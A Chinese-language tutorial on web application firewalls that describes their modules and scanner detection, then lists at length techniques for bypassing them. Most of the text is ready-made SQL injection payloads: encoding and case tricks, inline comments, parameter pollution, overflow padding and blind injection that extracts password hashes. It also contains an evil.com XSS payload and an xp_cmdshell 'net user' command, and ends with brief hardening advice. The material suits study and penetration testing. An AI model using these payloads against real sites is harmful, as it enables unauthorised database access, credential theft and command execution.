WAF的概念:
WAF(Web Application Firewall)的中文名稱叫做“Web應用防火牆”。
Web應用防火牆是通過執行一系列針對HTTP/HTTPS的安全策略來專門爲Web應用提供保護的一種網絡安全產品。WAF可以增大攻擊者的攻擊難度和攻擊成本,但是不是100%安全的。
重點:
- WAF是工作在應用層的;
- 通過特定的安全策略;
- 專爲Web應用提供安全防護。
WAF的主要功能:
- SQL Injection(SQLi):阻止SQL注入
- Cross Site Scripting(XSS):阻止跨站腳本攻擊
- Local File Inclusion(LFI):阻止利用本地文件包含漏洞進行攻擊
- Remote File Inclusion(RFI):阻止利用遠程文件包含漏洞進行攻擊
- Remote Code Execution(RCE):阻止利用遠程命令執行漏洞進行攻擊
- PHP Code Injection:阻止PHP代碼注入
- Scanner Detection:阻止黑客掃描網站
- Metadata/Error Leakages:阻止源代碼/錯誤信息泄露
- HTTP Protocol Violations:阻止違反HTTP協議的惡意訪問
- HTTPoxy:阻止利用遠程代理感染漏洞進行攻擊
- Shellshock:阻止利用Shellshock漏洞進行攻擊
- Session Fixation:阻止利用Session會話ID不變的漏洞進行攻擊
- HoneyPotBlacklist:蜜罐黑名單,將入侵地址保存進黑名單並攔截
- GeolP Country Blocking:根據判斷IP地址歸屬地來進行IP阻斷
根據產品形態,WAF主要分爲以下三大類:
- 硬件設備類——獨立部署
- 軟件產品類——一般與服務器部署在一起
- 基於雲的WAF
WAF的工作過程:
WAF的結構
不管硬件款,軟件款還是雲款WAF,核心是解析HTTP請求(協議解析模塊),然後進行規則匹配(規則模塊),根據結果進行防禦(動作模塊),並將防禦過程(日誌模塊)記錄下來。
WAF的組成包括六個模塊:
- 配置模塊
- 協議解析模塊
- 規則模塊
- 動作模塊
- 錯誤處理模塊
- 日誌記錄模塊。
解析數據包
主要是對HTTP(S)數據包進行解析,從而提取相關的字段。
規則匹配
對請求方法、內容進行匹配,根據匹配結果進行處置。
一般WAF還有一個白名單,白名單裏面的請求,自動放過。
WAF的常見特徵
WAF的功能:
- 1.審計設備:用來截獲所有HTTP數據或者僅僅滿足某些規則的會話
- 2.訪問控制設備:用來控制對Web應用的訪問,既包括主動安全模式也包括被動安全模式
- 3.架構/網絡設計工具:當運行在反向代理模式,他們被用來分配職能,集中控制,虛擬基礎結構等。
- 4.WEB應用加固工具:這些功能增強被保護Web應用的安全性,它不僅能夠屏蔽WEB應用固有弱點,而且能夠保護WEB應用編程錯誤導致的安全隱患。
WAF的常見特點:
- 異常檢測協議:拒絕不符合HTTP標準的請求
- 增強的輸入驗證:代理和服務端的驗證,而不只是限於客戶端驗證
- 白名單&黑名單:白名單適用於穩定的Web應用,黑名單適合處理已知問題
- 基於規則和基於異常的保護:基於規則更多的依賴黑名單機制,基於異常更爲靈活
- 狀態管理:重點進行會話保護
- 另還有:Coikies保護、抗入侵規避技術、響應監視和信息泄露保護等
如果是對於掃描器,WAF有其識別之道:
掃描器識別主要由以下幾點:
- 1) 掃描器指紋(head字段/請求參數值),以awvs爲例,會有很明顯的Acunetix在內的標識
- 2) 單IP+ cookie某時間段內觸發規則次數
- 3) 隱藏的鏈接標籤等(<a>)
- 4) Cookie植入
- 5) 驗證碼驗證,掃描器無法自動填充驗證碼
- 6) 單IP請求時間段內Webserver返回http狀態404比例, 掃描器探測敏感目錄基於字典,找不到文件則返回404
WAF繞過思路
主要思路:根據WAF部署位置,針對WAF、WEB服務器、WEB應用對協議解析、字符解析、文件名解析、編碼解析以及SQL語法解析的差異,繞過WAF,將payload送至服務器執行。
從以下層次着手進行:
- WAF層bypass
- Web服務器層bypass
- Web應用程序層bypass
- 數據庫層 bypass
常見繞過方法:
- 1.轉換特徵字符大小寫
- 2.利用註釋繞過
- 3.編碼特徵字符繞過
- 4.分隔重寫特徵字符繞過
- 5.利用截斷字符繞過
- 6.變換變量位置繞過
- 7.針對域名保護的繞過
- 8.超大數據包繞過
- 9.轉換數據提交方式繞過
- 10.HPP(HTTP參數污染)繞過
利用性能因素繞過
WAF在設計的時候都會考慮到性能問題,檢測數據包的包長或檢測數據流長度,有一個限制。因此在設計WAF的時候可能就有一個默認值,默認多少個字節的流大小,或是多少個數據包。
可以向HTTPPOST添加填充數據,達到一定數目之後,POST中的sql注入惡意代碼沒有被檢測了,達到了bypass的目的。
WAF的業務影響問題,一些傳統硬件防護設備爲了避免在高負載的時候影響用戶體驗,如延時等問題,會在高負載的時候關掉WAF防護功能,在低負載的時候又開啓WAF功能。
此方法,主要針對軟waf。可將一個payload,使用腳本併發發送多次,發現有些通過了WAF,有些被WAF攔截了。
1.大小寫繞過
這個大家都很熟悉,對於一些太垃圾的WAF效果顯著,比如攔截了union,那就使用Union、UnIoN等等繞過。
2.編碼繞過
比如WAF檢測關鍵字,那麼我們讓他檢測不到就可以了。比如檢測union,那麼我們就用%55也就是U的16進制編碼來代替U,union寫成 %55nION,結合大小寫也可以繞過一些WAF,你可以隨意替換一個或幾個都可以。
也還有大家在Mysql注入中比如表名或是load文件的時候,會把文件名或是表明用16進制編碼來繞過WAF都是屬於這類。
(1)URL編碼:
在Chrome中輸入一個連接,非保留字的字符瀏覽器會對其URL編碼,如空格變爲%20、單引號%27、左括號%28、右括號%29,/爲%25。
普通的URL編碼可能無法實現繞過,還存在一種情況URL編碼只進行了一次過濾,可以用兩次編碼繞過:
?id=1%252f%252a*/UNION%252f%252a /SELECT————————>經過兩次解碼=?id=1/**/UNION/* /SELECT
%2520是 * 連續url編碼兩次得到的()
(2)十六進制編碼
例如:
/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代碼中,前者是對單個字符十六進制編碼,後者則是對整個字符串編碼,使用上來說較少見一點
(3)Unicode編碼
Unicode有所謂的標準編碼和非標準編碼,假設我們用的utf-8爲標準編碼,那麼西歐語系所使用的就是非標準編碼了
常用的幾個符號的一些Unicode編碼:
- 單引號: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
- 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
- 左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
- 右括號:%u0029、%uff09、\c0%29、\c0%a9、%e0%80%a9
例如:
?id=10%D6'%20AND%201=2%23 SELECT 'Ä'='A'; #1
兩個示例中,前者利用雙字節繞過,比如對單引號轉義操作變成\',那麼就變成了%D6%5C',%D6%5C構成了一個款字節即Unicode字節,單引號可以正常使用
第二個示例使用的是兩種不同編碼的字符的比較,它們比較的結果可能是True或者False,關鍵在於Unicode編碼種類繁多,基於黑名單的過濾器無法處理所以情況,從而實現繞過
另外平時聽得多一點的可能是utf-7的繞過,還有utf-16、utf-32的繞過,後者從成功的實現對google的繞過
3.替換關鍵字
這種情況下大小寫轉化無法繞過,而且正則表達式會替換或刪除select、union這些關鍵字,如果只匹配一次就很容易繞過。
例如:(不建議對此抱太大期望)
index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
4.使用註釋
常見的註釋符:
- //
- --
- /**/
- #
- --+
- -- -
- ;
- --a
(1)普通註釋
index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4'union%a0select pass from users#
/**/在構造得查詢語句中插入註釋,規避對空格的依賴或關鍵字識別; #、--+用於終結語句的查詢
(2)內聯註釋
相比普通註釋,內聯註釋用的更多,它有一個特性/*!*/只有MySQL能識別(/*!*/表示註釋裏面的語句會被執行)
例如:
實例一:
?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
實例二:
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
兩個示例中前者使用內聯註釋,後者還用到了普通註釋。使用註釋一個很有用的做法便是對關鍵字的拆分,要做到這一點當然前提是包括/、*在內的這些字符能正常使用
5.等價函數與命令
有些函數或命令因其關鍵字被檢測出來而無法使用,但是在很多情況下可以使用與之等價或類似的代碼替代其使用
(1)函數或變量
- hex()、bin() ==> ascii()
- sleep() ==>benchmark()
- concat_ws()==>group_concat()
- mid()、substr() ==> substring()
- @@user ==> user()
- @@datadir ==> datadir()
比如substr()被過濾了可以用mid()和left()、right()等函數。
相關例子:
- substr((select 'password'),1,1) = 0x70
- strcmp(left('password',1), 0x69) = 1
- strcmp(left('password',1), 0x70) = 0
- strcmp(left('password',1), 0x71) = -1
(2)符號
and和or有可能不能使用,或者可以試下&&和||能不能用;還有=不能使用的情況,可以考慮嘗試<、>,因爲如果不小於又不大於,那邊是等於了。
在看一下用得多的空格,可以使用如下符號表示其作用:%20 %09 %0a %0b %0c %0d /**/
(3)生僻函數
MySQL/PostgreSQL支持XML函數:
Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它們都有許多自己的函數,基於黑名單的filter要想涵蓋這麼多東西從實際上來說不太可能,而且代價太大,看來黑名單技術到一定程度便遇到了限制。
6.特殊符號
烏雲drops上“waf的繞過技巧”一文使用的幾個例子:
1.使用反引號`,例如select `version()`,可以用來繞過空格和正則,特殊情況下還可以將其做註釋符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用於字符串連接的,”-”和”.”在此也用於連接,可以逃過空格和關鍵字過濾
3.@符號,select@^1.from users; @用於變量定義如@var_name,一個@表示用戶定義,@@表示系統變量
4.select-count(id)test from users; //繞過空格限制
部分可能發揮大作用的字符(前文中沒怎麼說到的):
- `
- ~
- !
- @
- %
- ()
- []
- .
- -
- +
- |
- %00
例如:
關鍵字拆分:
‘se’+’lec’+’t’
%S%E%L%E%C%T 1
?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
使用這些"特殊符號"實現繞過是一件很細微的事情,一方面各家數據庫對有效符號的處理是不一樣的,另一方面你得充分了解這些符號的特性和使用方法才能作爲繞過手段
7.HTTP參數控制
這裏HTTP參數控制除了對查詢語句的參數進行篡改,還包括HTTP方法、HTTP頭的控制
(1)HPP(HTTP Parameter Polution)(重複參數污染)
例如:
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又稱做重複參數污染,最簡單的就是?uid=1&uid=2&uid=3,對於這種情況,不同的Web服務器處理方式。
具體WAF如何處理,要看其設置的規則,不過就示例中最後一個來看有較大可能繞過
(2)HPF(HTTP Parameter Fragment)(HTTP分割注入)
這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執行換行)
例如:
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
8.緩衝區溢出
緩衝區溢出用於對付WAF,有不少WAF是C語言寫的,而C語言自身沒有緩衝區保護機制,因此如果WAF在處理測試向量時超出了其緩衝區長度,就會引發bug從而實現繞過。
例如:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA後面”A"重複1000次,一般來說對應用軟件構成緩衝區溢出都需要較大的測試長度,這裏1000只做參考,在某些情況下可能不需要這麼長也能溢出。
一些整合繞過的例子:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*!information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
單一的技術可能無法繞過過濾機制,但是多種技術的配合使用成功的可能性就會增加不少
9.過濾掉and和or情況下的盲注
假如有這樣一個注入點
index.php?uid=123
但是and和or被過濾掉了,我們可以構造一下語句
index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的時候頁面是正確的,我們現在在盲猜hash的第一位,如果第一位等於0x42也就是B,那麼strcmp結果爲0,0+123=123,所以頁面應該是正確的。否則就說明不是B,就這樣猜,不用and和or了。
10.加括號
/?id=1+union+(select+1,2+from+users)
如果上面一條被WAF攔截了,可以試着加一些括號。
/?id=1+union+(select+1,2+from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0x50=0x50)
11.字符解析繞過
一些WAF會由於某些字符解析出錯,造成全局的bypass。
測試點:
- 1):get請求處
- 2):header請求處
- 3):post urlencode內容處
- 4):post form-data內容處
測試內容:
1)編碼過的0-255字符
2)進行編碼的0-255字符
3)utf gbk字符
4)\x00,&,&&,寬字符。
12.白名單繞過
基於IP地址的白名單,一般很難繞過。
基於應用層的數據的白名單,就可能造成bypass。
特殊目錄白名單的繞過:
有些WAF,將admin dede install等特殊目錄作爲白名單。
被攔截:
- GET /pen/news.php?id=1 union select user, password from mysql.user
通過:
- GET /pen/news. php/admin? id=1 union select user, password from mysql. user
- GET /pen/admin/..\news. php? id=1 union select user, password from mysql. user
- 1、如果可能,採用基於IP的白名單;
- 2、對各種不能解析的內容,全部禁止訪問;
- 3、解析的協議,要全面;
- 4、對各種不符合標準模式的訪問,禁止;
- 5、WAF解析方式,與後臺的WEB服務器、web應用、數據庫的解析方式儘可能一致;
- 6、關鍵字的匹配,需要考慮諸多變形情況。